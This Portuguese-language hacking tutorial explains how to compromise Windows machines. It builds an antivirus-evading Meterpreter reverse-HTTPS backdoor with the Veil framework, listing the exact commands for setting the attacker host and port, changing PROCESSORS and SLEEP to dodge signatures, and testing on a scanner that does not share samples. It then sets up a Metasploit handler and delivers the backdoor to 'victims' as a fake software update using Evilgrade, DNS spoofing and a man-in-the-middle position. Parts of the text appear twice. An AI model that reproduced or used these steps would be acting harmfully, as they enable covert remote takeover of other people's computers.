O ideal é tentar começar um ataque pelo lado do servidor, se não houve êxito ou o alvo não está na nossa mesma network ou protegido por um firewall e não é possível fazer um ping para ele será necessário um ataque pelo lado do cliente, pois dessa forma o alvo precisará de uma interação como abrir uma foto ou um arquivo PDF.
Para esse método será necessário engenharia social e coleta de informações do alvo.
Nesse método focamos nas pessoas e não nos sistemas.
![](https://lh6.googleusercontent.com/PNcBY5-k-uhzxNnnqU4mMFeV1zHbiISnG1u8jlXzTQgJmifai5amx6PC2AWpG8iz8EBtORkzrdkHj8pMJbytTtRLDlwRvGnm2LQ-YqPikLA6Sg_SKDm_hnSNaI2Ez31n5VilokAN)
![](https://lh6.googleusercontent.com/0vHHPZ24a5HJgSHtO3n9syYBT4TYflulHQZn9Qqq0S3y4ttbKEfnEMcy17ZcWV33v7SMq_hBH6fLJpxyAZ9RDTCQzGJxHEFIQMj6FU_UivKE_OuTrC9cYX1vX3yYUcZVqVGhDRa6)
![](https://lh5.googleusercontent.com/LboEW1N8AbMa92HRdMSLFzZ2Op_EXo6suNRuK3GP_Kgb8P_5C5cOeRH0oHfFn7cWoHRmRGIfKaznIhW1XF6oHoXxYSWa3YXCclS044a5sSxbqwy0PLn6vVwpnxSfqwPrzCosS5mP)
![](https://lh4.googleusercontent.com/fle-QZlOELKs4GAv1Ut_OiumWGH0Rajs5Zz2WW3rCDzNn60wnexy4BmKQC-l1ZNoNcE4hpwtSMiFNFPj51Xw0EdUAjAVGhOqFcAU9sWdNJDjhHIs-JpDzzTCkU0v7-cqbRB-olZ2)
![](https://lh4.googleusercontent.com/v1_C7xcvaWntD1vVk-5PVmxv1ZBfNimA7iaU4_5HVKJhZYDP7JjaL-lopZbanWWYw2Jwi0Dchqed_C8R-G2shOhRRUqRFDeHFOSLzR9Sctp58xmHVKOm3wgNI-HqcEwv1xdCbiMK)
O Evasion cria Backdoors indetectáveis e o Ordnance cria payloads para o Evasion. O Payload é uma parte de código que pode nos dar acesso e permissões no computador do alvo.
![](https://lh5.googleusercontent.com/PrzSZ9pdDvsIfpNYhtprUuB3A4g3dA_-Ofv3bNBQuRqKFzMINX8wS3DUlvv_gdvfKoA96DWHhObq5Jwfnx26XB2tZFFk9Dzm29EIB7w5g3dVvoNWzI2cifc8QCLJhCT16fIvaskz)
![](https://lh5.googleusercontent.com/691s9-L5-49Z6Se8SWU4tDGTw_CLQJCH4dI-5hxbQ3jI713443SuQcIHc5RxVXLO_PXd-lqWWWRc6JwhsNT-kw_1fdim0FvwXv0rrY2o7u9cAF8Q7BaGPhasNkwvkUzPHtt_80Zq)
rev_https.py - É o método em que será estabelicido conexão ao alvo rev= reverse e https o protocolo usado. Reverse attack é quando o alvo clicar em meu backdoor o computador dele enviará informações ao computador que está atacando e não será bloqueado pelo firewall pois o computador acha que será apenas uma conexão normal a algum website por usar portas de websites.
Se vermos o 18
lua/shelcode_inject/flat.py que difere do padrão anterior, esse específico injeta código em outro payload.
Criando um Backdoor
![](https://lh4.googleusercontent.com/a5ED-DdZJX21SjEQDvQNxUXdNpg3tGYt87qFXgb-B5IfmpP7t8j0NcmxPNxjCS8-gJxZwtbqjlNd_Zx7tC0lcnImPtm4sEr-WGFRVWV8glaA10N4nQIPcE9OeXcaxPP56IaJGgJt)
Vemos que o LPORT é 80, o que é ótimo pois é a porta dos navegadores, porém não usaremos essa porta pois há um webserver rodando nessa, por isso usaremos a porta 8080 que também é utilizada por navegadores e não é suspeita.
![](https://lh6.googleusercontent.com/OCYGaAqL2ECY5G33P0w3NiLK_QS4FWdF85-oFWkBCVRPVHf0BjwfGqVhV6ZEFyB-EH-m1U6i678OkoHebTZ7ZvqjUd4UBHrxVMqZdPx19HFgK-AouzvOgkkSr92i-L1nIkDPxfF1)
![](https://lh5.googleusercontent.com/Z_jGl91hGGdHuDytPo66WVry4hk2kNFqv3tfmD9474lN2ugJODhaAImsg2NjEWaTKugh0tszpEP5l8OireD8rchByZIM5DFs0DIODCTjjZYJ10K8Ax5CDab1O-a2i3tYH0phIhqr)
Criando um backdoor assim, passaremos por qualquer antivirus exceto o AVG, e isso não é bom pois queremos ultrapassar todos os Antivirus.
Enganando o Antivirus
Os antivírus possuem uma base de dados contendo as assinaturas dos vírus de que podem eliminar. Desta forma, somente após a atualização de seu banco de dados, os vírus recém-descobertos podem ser detectados. Se o seu arquivo está com alguma dessas assinaturas o antivirus detecta, porém se você muda a assinatura o antivirus acha que é um programa normal.
Devemos mudar nosso arquivo para que ele seja único e não esteja no banco de dados do antivírus.
A primeira mudança deve ser os processors, o número mínimo de processadores que devem estar presentes no sistema para que o payload seja executado.
Mudando isso nosso backdoor já terá uma assinatura diferente. mudaremos para 1 pois um número alto pode fazer com que ele não funcione.
![](https://lh3.googleusercontent.com/16Gemq4AQXeagobrK9Sthy3HGnW3uOTdMJSIW62TnQMLNlymGMdaOwimP--kvuDFhduE5GQTUdrrI68kw3uIk7ZVndzrGCZj7d1QAXOPneAT1qcgajYkkoHkIvloeAlxB8ehmJcu)
Também mudaremos a opção sleep que serve para o Backdoor ficar um tempo inativo antes de ativar o código malicioso. Mudamos para qualquer número apenas para ele ficar diferente
![](https://lh3.googleusercontent.com/qsToH9Hbd9jCbT1ZRGci2TGaEbEJaRIcUcMDq1Iyr-6OsKNMpgCq2PAIEoQDE79DL3GtigbcTAZr2wjY4X4iH5HMzAaYhH0wi-VtmmNZ6j-6fqgTAMzMJg2z6P3I0th2-0sPod5A)
Agora devemos escolher o nome do Backdoor, colocaremos rev_https_8080 para lembrarmos do que se trata, mas pode ser qualquer nome.
![](https://lh6.googleusercontent.com/HQGKtcFpGXxaBaDs4S7Ii9e68i1F6PV56pW15XyaQ5blH5GXW-M4B5Cf3Tdg-XL_0IXDa4RKEG8avdjqCXjMmBUjoa9wQ28ycqLb2nh74qnf06RpGeeYGaolNwlUgitJkzKy0oiF)
![](https://lh3.googleusercontent.com/MODVAaZRW64LOBLE6g2VwIW4jA1pxA3XUBJMY69UHNgT1KT4_Q6WANC7QA7vth1843YhtY-WyYQLznYieo0y8whDgSCr6u58mJQJuYpCSokWAZQY2HNUuXKSEb9v8zUaR0Oo66k-)
Vamos agora verificar se ele está indetectável ao antivírus, podemos fazer isso com uma ferramenta do próprio veil, porém ela não é tão eficaz.
Não é recomendavel utilizar o virustotal pois ele vai enviar a assinatura de nosso backdoor ao banco de dados dos antivírus.
![](https://lh5.googleusercontent.com/UwQwBW4Dukm43PgrqqID9ZoZ1wPhP7SrCPmVBvr1kIDv1caIz9Hc1DX1wzRYHdGbnISZ3ImTkIKKiIf8IhOAcfyd_199gUTvRZaa5SCtSnkcNAUflUAevR1nL7nVrkRhbPxatFpD)
![](https://lh6.googleusercontent.com/qQAzc_bLyaeoRIDCiowRfQn2MTaJUg8Q4RDBWIY8IwI9yWm-viO6Z0bELd7A10nGm4h9eFNHqRosQ0xv4yDLzfYrXjgyM5d-8TK7qWxnFmIxWkUiBPuEU07CjXaSAzat4nJkSnqr)
Agora podemos usar esse arquivo com qualquer device e ter certeza que os antivírus não vão detectar como malicioso.
Os antivírus sempre renovam suas base de dados, e o veil também o correto é sempre verificar. por exemplo esse mesmo backdoor com o SLEEP 10 foi reconhecido por um antivírus.
![](https://lh3.googleusercontent.com/wJC1x8YIK4DH4S65ILUKwb9hU_3ZGe_0gTgOwZDQqlTEyrW89Xd8X8T6SW0dSsIlF3IlHbjyFsmEVDK7CYv9kyjv59jZRhH_5zP9mFnqp3PVbrwN9Lq7IHIUUzV56pXvmxaIURk7)
Podemos ver que a opção que surgiu é [windows/meterpreter/reverse_tcp] porém o nosso payload é [go/meterpreter/rev_https] por isso devemos mudar isso.
![](https://lh4.googleusercontent.com/E5Z5eALePRSJzeKdXqR2Mk77aO-is_20zFksRD8ZlDeWfLfRLYvs65mHkPevtTRIqvdwUX_4XCtdb2_UMqpSwuz0YyqNFueUC3PIlE1k8Iey6Wy-MOUhbhSbYmq0sOv1DDr_q0LM)
Agora devemos verificar se todas as opções estao corretas e mudar, nesse caso o LHOST está correto, mas devemos verificar todos os dados.
A porta não está correta pois queremos usar a porta 8080 então executamos o comando
![](https://lh4.googleusercontent.com/0iPhfm_WO4Xp_RyDjMyD1HG5A-6HTY2phFPQeW-r5zPyMvbcQehmWIyVf_eVGoEqbGar1o70jHP1JsWL9y1lAstF8RdaLUT4lhex8dwRf3lZdPGAQGgSdr9MibSqpjQnQPlN79QV)
Agora, qualquer pessoa que clicar e executar nosso Backdoor, enviará conexão ao nosso computador e podemos ter controle total.
Agora devemos ver como enviar esse backdoor aos computadores das vítimas.
Primeiro utilizaremos uma forma simples para testar o Backdoor enviando e abrindo o arquivo no alvo
podemos utilizar o endereço do webserver do linux: var/www/html nos arquivos, criar uma pasta arquivos maliciosos e colocar o backdoor que criamos nele
Para acessar nosso backdoor vamos ao endereço nos arquivos:
var/lib/veil-evasion/output/compiled.
Copiamos esse arquivo na pasta de arquivos maliciosos
para começar esse website devemos colocar o comando
![](https://lh5.googleusercontent.com/ZPVJ-JfN3w-Jvy_YVOj6JuBjUTAWp1yHfXfIWLw5tVEs7DWo5tEr2Zkl72FuCP33V1xRchTfqR1Zr0o-FxrM0_TASDNTqrlrz5EfBH3OeOdU3bNw-MebxB0nRUyMU9-1JzQnh1yf)
![](https://lh4.googleusercontent.com/yrwT0p1Lc8rW3J2E5geqzJqfvnwWpueHCzCIf924KO8tv-RhrvYF6IHmA7VgPlOVn8ZnBxZxHOCQ3pOqUndOIbHetjYcEvqHCl5rzgkcR_zSBJlEK7bA0oFtdorYCc1OqTWxhUeh)
Agora podemos testar o Backdoor. E logo vemos no kali que temos conexão com o alvo e agora temos controle total. e estamos na sessão meterpreter. Veremos o que podemos fazer com isso no artigo sobre Pós-Conexão.
![](https://lh3.googleusercontent.com/eUDusQXhe7X_ApHmToFIt5MZVuqeXrlaV_88R4FoGLi6wfnL9x6kBvj0dRGKkUdDk86r8Xa2-GbQFavnB1t-9Kiy1NLsVW2ZObVrhFUCitMjWs9h_VnEUQfWkJu4lx3R3Hi4HE88)
![](https://lh6.googleusercontent.com/icB3Kton8YOhMNDkKyVk6ah2Q0dvziUCpvsURohChsO-RB3ZhAxcmyWdrd8eiyWSY5NTzACw0aPaUeQRnXQQH4XUusdXiZopNgtEg7f1l0JMMmrlZGUhHk_Q9Ypq7TemIUbMG_OjBJci0u8DUA)
Vimos como fazer backdoor porém a pessoa precisa executar o que é difícil
Agora iremos criar um falso-update, o alvo tem o programa e vai atualizar ele, porém estará instalando nosso Backdoor
Precisamos estar com Men-In-the-Middle ou com uma internet falsa ou com MITMf como demonstrei nos outros artigos.
Faremos com DNS Spoofing e uma ferramenta chamada Evilgrade que cria falsos updates.
Podemos utilizar essa ferramenta nos seguintes cenários:
![](https://lh3.googleusercontent.com/-ixxYOJ1NdJuFM1S7oiscoOSuVnvkglxejvQ-Vw6z42A5eQWBIlpxMA_EMCtSY12HyI27IPz0GgicRTuFtWIDiTTO3evLZyQDRuMq5HmfVqwi4rL8VZOc3HXqdTHbXuGQNAU61aD)
![/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 09.55.29.png](https://lh5.googleusercontent.com/fujXd3Q35fd7Rh3opBfNIEveVxCoL47Ksv7TnHpw80SxW4j6EYzNthOTv6_F1hsN_Kx3orak24UfxN8T3hCUx_yyK6QLWO_71aL_JyoXgJaI3FMk9qtqwkA7LjLJkdeWV0692tFVHqUJRxXeDw)
demonstra como é o agent original e iremos colocar o nosso agent no lugar do dele:
Por alguma razão o Backdoor _https que criamos anteriormente entra em conflito com o DAP, por isso iremos usar um novo backdoor _http
Mudamos o agent com o endereço de nosso Backdoor que mudamos o nome para backdoor.exe:
![/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 09.58.48.png](https://lh6.googleusercontent.com/KJf3k85DR-niMZCEuenoJAntnXJKE35tPaZleAzFbW7sEcwPXJo9A4uFg2q3PcXTLGX5sddgIeC5J2Kl5M3JDL9XNa4DsoukWdYCTqYnTXxRGcBEvTtWGOmyHNng_8R62z_n5bhbFKcf0MNu0Q)
Ainda podemos mudar qualquer opção como o failsite, o site que mostrará quando o download não funcionar ou endsite.
Devemos fazer um web spoofing para quando a vítima entrar no site que está descrito como virtualhot, em nosso caso (update.speedbit.com) redirecionar o alvo ao evilgrade. Faremos isso com o MITMf
![/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.03.44.png](https://lh6.googleusercontent.com/RAKsqYVNmr-2QK_NnJlqb8H5bxT8jSFX_qalrCj0TP-_9POJzUrDBrJBwBSUpBVZIcknSj2ieNdywr4AE_ZrsuaQ_0YaKtlHVH_T8OfLYIuLI3lDti503gxNzO0yXGPJfSwyXJElbAV6KPKJXw)
Para DNS Utilizar a porta 5353 pois ela é mais neutra e não está sendo utilizada e o evilgrade está rodando na porta 53, teríamos um conflito se os dois estiverem na mesma porta.
![](https://lh6.googleusercontent.com/ZbSCk1DQierswJpiRgwcPGrz0OtOcgE4r89rzx1F-MnCXl0AePV8xk-xluU8LrWVvzqs87-SBWJaxFUN66sWLJwGryX48PGQZ8rbIg-4xDqH8XetwPo5lJlFrdqb1cjFeV2b5DzI)
Nos [[[A]]] records vemos que estamos redirecionando qualquer request de update.speedbit.com para nosso IP
![](https://lh6.googleusercontent.com/fwVLe9ynJYJI63dOGY8VQmhOFBU5Dv9DlemXEE-R-GMR-Q4wZkyMryM1Xt6bc2PDPZvHOR4RlKDJo_bC-aCtgL_Fl45miQ0LVCy51tDA1DxW8eJfgQDbbFeIhv26ksj4ZV5086c9)
![/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.07.39.png](https://lh5.googleusercontent.com/Y99jZC4Fderx1IZ_YmQHAtFlkgQSQcUqDqE9sU7gwAKJWygzsX-xcMGqh1J-ekDwJ42ebnGDwUIU867oT5fkmnqXwtUQhDHQNWTxBAdwp6IOvKsMTqHu27epUpT_LHC2-UdJLWGAQXdW74Seaw)
![/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.10.29.png](https://lh6.googleusercontent.com/sDm3uuAZMt2gtITIeboZZ5ox_NrqWpUpGuom2S64nnOdGL-0tDwGod0Rrbzr1F8NllqUc7TJLQlv7R-KvrGDFf030-2P7A9kaOjOhThr6tccWs0k00bf1vT5zK2Fg13jHoCqxAq58WJdsZ9Scg)
![/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.11.37.png](https://lh5.googleusercontent.com/_hb-NlH7ca-hxxpU3N2BmC7taXhMv6_MCC-tMnLQcTT9K71Tq-mJKtoABWfx1St2zmqnu436kH-uZqUVeRqNERwsHUvh6Fg7ONDXaaIOyUdm8w1UlrD-53XgJxV_Ib5XE0Leo7p3VCX-pK8ZSg)
![](https://lh3.googleusercontent.com/eRv2mpM28uzNT0dsgKVkppcHEM8hvn-8XReMtRBf7Wc_NpHAmhkQjIoUjCY8qBFXDMZ4qJv51I-_FuZ_57wwDETOozfNCEbfsQCytCM86t8rFXmxs1ZvpfOflQaKNnbSRtCJ0LNB)
![](https://lh4.googleusercontent.com/tbWKS1gb_mZZQ6JY291PWty0HtpIOihHRzaIcXEa0ZZ7MENjCSHSOk1vsH0jcvApV7F-98sFikc4-sI7lRWnfBgn5CcOU34BusW6WBRn52cvNVFcV8d35e2gg7BcolvMkZWKUifB)
![](https://lh5.googleusercontent.com/cr90symKUdUemw_Vzk9GzW-fc7VKvRNhHrutydNkcLkMIHIpFlABMp5cI3c3xEH_831Nq_bcX6aBq0fjp94LuxBLok-zBGhDV5EzwTrH87w7jovFBWo_JJWtodChfn5_GOx486MspwUpha9ciw)
![../Captura%20de%20Tela%202017-12-31%20às%2011.51.56.png](https://lh5.googleusercontent.com/McxQIgisw0_7gVtmY_MAzh_5lBQXr18Y-HkaRxuOviFdgHfRn-5YKz0hEjlK7OTDxowCCUEvXCN9lXl0YmXVl_wulNjUHyVV9U5flDIoR-4jkTAQuAFCbxF9Q1zR-EBF2j3s1Ept-lVgPzQCyA)
Aonde estiver escrito Host em windowsIntelx86 e windowsIntelx64 em todos os HOSTS deve colocar o IP do Atacante (Kali)
![../Captura%20de%20Tela%202017-12-31%20às%2011.54.50.png](https://lh6.googleusercontent.com/U9kGqaEFUfCfAgwATwgcAkPM9PseqMZDZIrSeIITrdy9WL34WCIVBfUU9xhOP8bUUB7gGvRPjAAtlLJvScbfvk5XM-Joar6gd7HcLtvl70trBzIeqFxcj9dHAJ0WmwR0db8uaj6ov8QDPtn0Sw)
![](https://lh6.googleusercontent.com/nLtnLqr25rMn1tr-4q0wugKFUQO_cRIN-JUDD7KHPY3L9eRsNze3JVCz3Tlk6KnCVTgo8sgQcyHeFOE4vYyZedmCI4Qg1F93umh4hN-yd0OcoGAPP0EuOi8aeMyIM1uk97enJo8A)
Precisamos redirecionar qualquer trafego da porta 80 para porta 8080(local em que o proxy está rodando), faremos isso com o iptable, Sistema de controle de filtros para protocolos ipv4
![](https://lh3.googleusercontent.com/-0Fp25lVR5hc7OfHxs5hQXetASV71o3vKOUpkQtjdY9rP6nqNaVedrSR3DL6kU3m9hUAuDFs7T6YMzc_2Lj3mSRRlG2VoYd29FUlJr6xg_ZoVAQNcXbnUpu94U3swNVP_wHkHuUw)
Na terceira tela iniciar o metasploitable para receber as comunicações com o local que está os resources do bdfproxy
![../Captura%20de%20Tela%202017-12-31%20às%2012.07.20.png](https://lh6.googleusercontent.com/SoBmOwiWGUh0pmnpR7sa4NAdNFlATBQGo5fhfr3y8cFpu_HCVqpKfJggRjmgSI3lSIEpkYboTBfttlaezIkGQvpQ5lnaN5kH9Bc860p1-q-9kiomOxbkCx-mmdOVf8FxP13FHNkBJxaoHaU0dA)
![../Captura%20de%20Tela%202017-12-31%20às%2012.08.04.png](https://lh4.googleusercontent.com/VQ9sf9M3x9W_yYLmiZaDbzgz8M-c06qDZSIKLcO9xWC-kaPFfeifz9HRHGe6Klz4_qEG7peiywrkO__ukNyz-EfENBLElbd2-31l3IrbhxnxTAaGELqxB2kkvuyi9_PF7uEyvhHALC91hWitTA)
![](https://lh6.googleusercontent.com/_7NrwQlhBZX8ss0zQJfwi1Nnb98jyufykbiK2_owhGXUVj-vW3-RmRkhJHUvB1pOc0EfeD8CBGfS7-b4zbaGm4l094B5BStvQ0elD-kOUyZxF_W5zqugu84D8UDK1eyXFDADs6Ty)
![](https://lh6.googleusercontent.com/J0to_dSfAwWIosSM6tkWlvV71Q80yxTFlr-X8e_NZsCSRuVadcLxVjgWLNOvcUv_HI-O7lxtpSlqAZFQpwtiuroboGmK2elTYE1GdeomC0cLZBvQlO9ayIjc-njqQZ5N0igBLGcn)
![../Captura%20de%20Tela%202017-12-31%20às%2012.10.48.png](https://lh3.googleusercontent.com/VkR_9Ftn-HwVN_oP138haiTCy7E9bZrgaCUyvNjY7_GAGHZBCgTXU_cwkTiQRS0YcLilAC5onAzZ1msxiIf2noHqLsY-8x3N8SjwzHvqSQV3zohWxYS-bO8YQb-gljRcExiIupgAGCWXF6R2Rw)
![../Captura%20de%20Tela%202017-12-31%20às%2012.15.15.png](https://lh6.googleusercontent.com/rEFbzZDAlK_Z183gyyvvo9EtX5UXKbm4-46SZjtpEN_9AbggfV9tVe2hL31v-uZkWo26a1WTpzLMvHibQGsxqDPo3Ub2uYVcFNv12GCvjQ89p24wWrKvMEyh-AffJAGKeVCrEdidxs7__DkxDw)
Para esse método será necessário engenharia social e coleta de informações do alvo.
Nesse método focamos nas pessoas e não nos sistemas.
Criar um Backdoor com Veil Framework
Neste capítulo, vamos trabalhar com o Veil. Este framework contém várias ferramentas para criar payloads, esconder payloads dentro executáveis ou PDFs, entregar payloads úteis, coletar informações e permitir pós-exploração.
Muitos hackers vão usar Veil porque da forma como ela é eficaz na codificação e entrega de payloads . Permanecendo sem ser detectado por anti-vírus ( AV ) ou sistemas de detecção de intrusão ( IDS ) é uma prioridade para qualquer hacker.
Instalando
Muitos hackers vão usar Veil porque da forma como ela é eficaz na codificação e entrega de payloads . Permanecendo sem ser detectado por anti-vírus ( AV ) ou sistemas de detecção de intrusão ( IDS ) é uma prioridade para qualquer hacker.
Instalando
No kali vamos instalar o Veil: https://github.com/Veil-Framework/Veil
Vá em clone or download
Copie, vá ao terminal e vamos navegar até o opt
> cd /opt
> ls
> pwd
git clone [url do clone]
> git clone https://github.com/Veil-Framework/Veil.git
> cd Veil/
> ls
> cd setup/
> ls
> ./setup.sh
Deve-se continuar aceitando todo o processo e instalando as ferramentas.
Agora voltamos ao Root
> cd /root
Usando o VeilInstalamos ele no opt então vamos para lá
> cd /opt/Veil/
> ls
> ./Veil.py
Entramos na tela de início e poderemos começar a utilizar a ferramenta.
Logo vemos os comandos que podemos usar.
O Veil 3.0 tem duas ferramentas e podemos ver elas com o comando list
> list
O Evasion cria Backdoors indetectáveis e o Ordnance cria payloads para o Evasion. O Payload é uma parte de código que pode nos dar acesso e permissões no computador do alvo.
Para usar o evasion rodamos o comando
> use 1
Com o comando list podemos ver todos os payloads disponíveis
> list
E veremos uma lista com vários Payloads disponíveis
Vamos analisar o Payload 15 que é dividido em três partes:
go/meterpreter/rev_https.py
go - A linguagem em que o payload é escrito
meterpreter - o tipo de código que será executado no alvo, nesse caso é um payload feito pelo metasploit e ele permite ser rodado como um processo normal e ter controle total ao computador do alvo sendo um processo normal no qual será muito difícil de ser detectado.rev_https.py - É o método em que será estabelicido conexão ao alvo rev= reverse e https o protocolo usado. Reverse attack é quando o alvo clicar em meu backdoor o computador dele enviará informações ao computador que está atacando e não será bloqueado pelo firewall pois o computador acha que será apenas uma conexão normal a algum website por usar portas de websites.
Se vermos o 18
lua/shelcode_inject/flat.py que difere do padrão anterior, esse específico injeta código em outro payload.
Criando um Backdoor
Na tela inicial do veil digitar:
> list
selecionar o evasion
> 1
listar os Payloads disponíveis
> list
Utilizaremos o número 15 go/meterpreter/rev_https.py
> use 15
Vemos informação Sobre o Payload e precisamos definir o LHOST, que será o IP no qual o payload ou o backdoor vai se conectar, o Kali do Hacker.
Podemos mudar qualquer dado com o comando set
Podemos mudar qualquer dado com o comando set
Fazemos ifconfig em outro terminal e pegamos nosso ip
No terminal do Veil evasion:
> set LHOST [IP do kali]
Vemos que o LPORT é 80, o que é ótimo pois é a porta dos navegadores, porém não usaremos essa porta pois há um webserver rodando nessa, por isso usaremos a porta 8080 que também é utilizada por navegadores e não é suspeita.
> set LPORT 8080
Quando vemos as opções novamente vemos que está tudo atualizado
> options
Criando um backdoor assim, passaremos por qualquer antivirus exceto o AVG, e isso não é bom pois queremos ultrapassar todos os Antivirus.
Enganando o Antivirus
Os antivírus possuem uma base de dados contendo as assinaturas dos vírus de que podem eliminar. Desta forma, somente após a atualização de seu banco de dados, os vírus recém-descobertos podem ser detectados. Se o seu arquivo está com alguma dessas assinaturas o antivirus detecta, porém se você muda a assinatura o antivirus acha que é um programa normal.
Devemos mudar nosso arquivo para que ele seja único e não esteja no banco de dados do antivírus.
A primeira mudança deve ser os processors, o número mínimo de processadores que devem estar presentes no sistema para que o payload seja executado.
Mudando isso nosso backdoor já terá uma assinatura diferente. mudaremos para 1 pois um número alto pode fazer com que ele não funcione.
> set PROCESSORS 1
Também mudaremos a opção sleep que serve para o Backdoor ficar um tempo inativo antes de ativar o código malicioso. Mudamos para qualquer número apenas para ele ficar diferente
> set SLEEP 6
> options
Tudo pronto:
Para gerar o backdoor só precisamos executar o comando
> generate
Agora devemos escolher o nome do Backdoor, colocaremos rev_https_8080 para lembrarmos do que se trata, mas pode ser qualquer nome.
O Backdoor foi generado e nos mostra onde está o arquivo e outros dados
Copiamos o local que ele está, Executable written to:
Vamos agora verificar se ele está indetectável ao antivírus, podemos fazer isso com uma ferramenta do próprio veil, porém ela não é tão eficaz.
Não é recomendavel utilizar o virustotal pois ele vai enviar a assinatura de nosso backdoor ao banco de dados dos antivírus.
O melhor, agora, é um site chamado https://nodistribute.com/
Selecionamos o SCANFILE, e colocamos o endereço do arquivo backdoor no pesquisador
Podemos ver que o arquivo não foi detectado por todos os antivirus
Agora podemos usar esse arquivo com qualquer device e ter certeza que os antivírus não vão detectar como malicioso.
Os antivírus sempre renovam suas base de dados, e o veil também o correto é sempre verificar. por exemplo esse mesmo backdoor com o SLEEP 10 foi reconhecido por um antivírus.
Manipulando o Payload e Conexões de entrada
Programamos para nosso backdoor conectar com a nossa porta 8080, agora precisamos configurar nossa conexão de entrada. Faremos isso com o metasploit framework pois esse payload foi criado pelo metasploit.nosso backdoor era:
go/meterpreter/rev_https, port 8080
iniciamos o metasploit framework com o comando
>msfconsole
Queremos utilizar o módulo que verifica as conexões de entrada. Esse
> use exploit/multi/handler
> show options
O mais importante é especificar o payload
Podemos ver que a opção que surgiu é [windows/meterpreter/reverse_tcp] porém o nosso payload é [go/meterpreter/rev_https] por isso devemos mudar isso.
A primeira parte está ótimo pois nosso alvo é um windows.
o que precisamos mudar é o [reverse_tcp] par [reverse_https]
mudamos isso da mesma forma que fizemos com o veil evasion
> set PAYLOAD windows/meterpreter/reverse_https
vamos conferir
> show options
Agora devemos verificar se todas as opções estao corretas e mudar, nesse caso o LHOST está correto, mas devemos verificar todos os dados.
A porta não está correta pois queremos usar a porta 8080 então executamos o comando
> set LPORT 8080
Agora só precisamos executar o backdoor com o comando
> exploit
Agora, qualquer pessoa que clicar e executar nosso Backdoor, enviará conexão ao nosso computador e podemos ter controle total.
Agora devemos ver como enviar esse backdoor aos computadores das vítimas.
Errors:
Se der problema com o set, tente fazer apt-get full ugrade
Testando o Backdoor com webserver do Kali
Utilizando o webserver do Kali para testar no Windows
Primeiro utilizaremos uma forma simples para testar o Backdoor enviando e abrindo o arquivo no alvo
podemos utilizar o endereço do webserver do linux: var/www/html nos arquivos, criar uma pasta arquivos maliciosos e colocar o backdoor que criamos nele
Para acessar nosso backdoor vamos ao endereço nos arquivos:
var/lib/veil-evasion/output/compiled.
Copiamos esse arquivo na pasta de arquivos maliciosos
para começar esse website devemos colocar o comando
> service apache2 start
No windows só precisamos navegar até o IP do kali
Isso é o que está no var/www/html do Kali
como queremos testar o backdoor só devemos escrever o IP/arquivos-maliciosos
Agora podemos testar o Backdoor. E logo vemos no kali que temos conexão com o alvo e agora temos controle total. e estamos na sessão meterpreter. Veremos o que podemos fazer com isso no artigo sobre Pós-Conexão.
> sysinfo
Enviar o Backdoor ao Alvo
Falso Update para instalar Backdoor com
Evilgrade e MITMf
Evilgrade e MITMf
Vimos como fazer backdoor porém a pessoa precisa executar o que é difícil
Agora iremos criar um falso-update, o alvo tem o programa e vai atualizar ele, porém estará instalando nosso Backdoor
Precisamos estar com Men-In-the-Middle ou com uma internet falsa ou com MITMf como demonstrei nos outros artigos.
Faremos com DNS Spoofing e uma ferramenta chamada Evilgrade que cria falsos updates.
Podemos utilizar essa ferramenta nos seguintes cenários:
internal scenery:
- Internal DNS access
- ARP spoofing
- DNS Cache Poisoning
- DHCP spoofing
- TCP hijacking
- Wi-Fi Access Point impersonation
External scenery:
- Internal DNS access
- DNS Cache Poisoning
- Instalar evilgrade
git clone https://github.com/infobyte/evilgrade.git
cd evilgrade/
cpan Data::Dump
cpan Digest::MD5
cpan Time::HiRes
cpan RPC::XML
Now the tool will work, it might display an error about Gnu.pm
this is a known bug with evil-grade, if its annoying you
the you can get rid of it using the by removing that lib using
the following command
apt-get remove libterm-readline-gnu-perl
Just make sure you re-install it after you're done in case it is
needed by other tools
apt-get install libterm-readline-gnu-perl
2. Executar o evilgrade
> ./evilgrade
Ver todos os programas que ele pode instalar:
> show modules
E podemos ver todos os programas que podemos criar o falso update
- Freerip 3.30
- Jet photo 4.7.2
- Teamviewer 5.1.9385
- ISOpen 4.5.0
- Istat.
- Gom 2.1.25.5015
- Atube catcher 1.0.300
- Vidbox 7.5
- Ccleaner 2.30.1130
- Fcleaner 1.2.9.409
- Allmynotes 1.26
- Notepad++ 5.8.2
- Java 1.6.0_22 winxp/win7
- aMSN 0.98.3
- Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
- Mirc 7.14
- Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
- Dap 9.5.0.3
- Winscp 4.2.9
- AutoIt Script 3.3.6.1
- Clamwin 0.96.0.1
- AppTapp Installer 3.11 (Iphone/Itunes)
- getjar (facebook.com)
- Google Analytics Javascript injection
- Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
- Winamp 5.581
- TechTracker (cnet) 1.3.1 (Build 55)
- Nokiasoftware firmware update 2.4.8es - (Windows software)
- Nokia firmware v20.2.011
- BSplayer 2.53.1034
- Apt ( < Ubuntu 10.04 LTS)
- Ubertwitter 4.6 (0.971)
- Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
- Cpan 1.9402
- VirtualBox (3.2.8 )
- Express talk
- Filezilla
- Flashget
- Miranda
- Orbit
- Photoscape.
- Panda Antirootki
- Skype
- Sunbelt
- Superantispyware
- Trillian <= 5.0.0.26
- Adium 1.3.10 (Sparkle Framework)
- VMware
- more...
Escolhemos o programa dap (download accelerator plus) com o comando
> configure dap
> show options
demonstra como é o agent original e iremos colocar o nosso agent no lugar do dele:
Por alguma razão o Backdoor _https que criamos anteriormente entra em conflito com o DAP, por isso iremos usar um novo backdoor _http
Mudamos o agent com o endereço de nosso Backdoor que mudamos o nome para backdoor.exe:
> set agent /var/www/html/backdoor.exe (o diretorio de onde está o backdoor criado)
> show options
Ainda podemos mudar qualquer opção como o failsite, o site que mostrará quando o download não funcionar ou endsite.
> start
agora fazer o MITM attack para enviar esse falso update ao alvo.
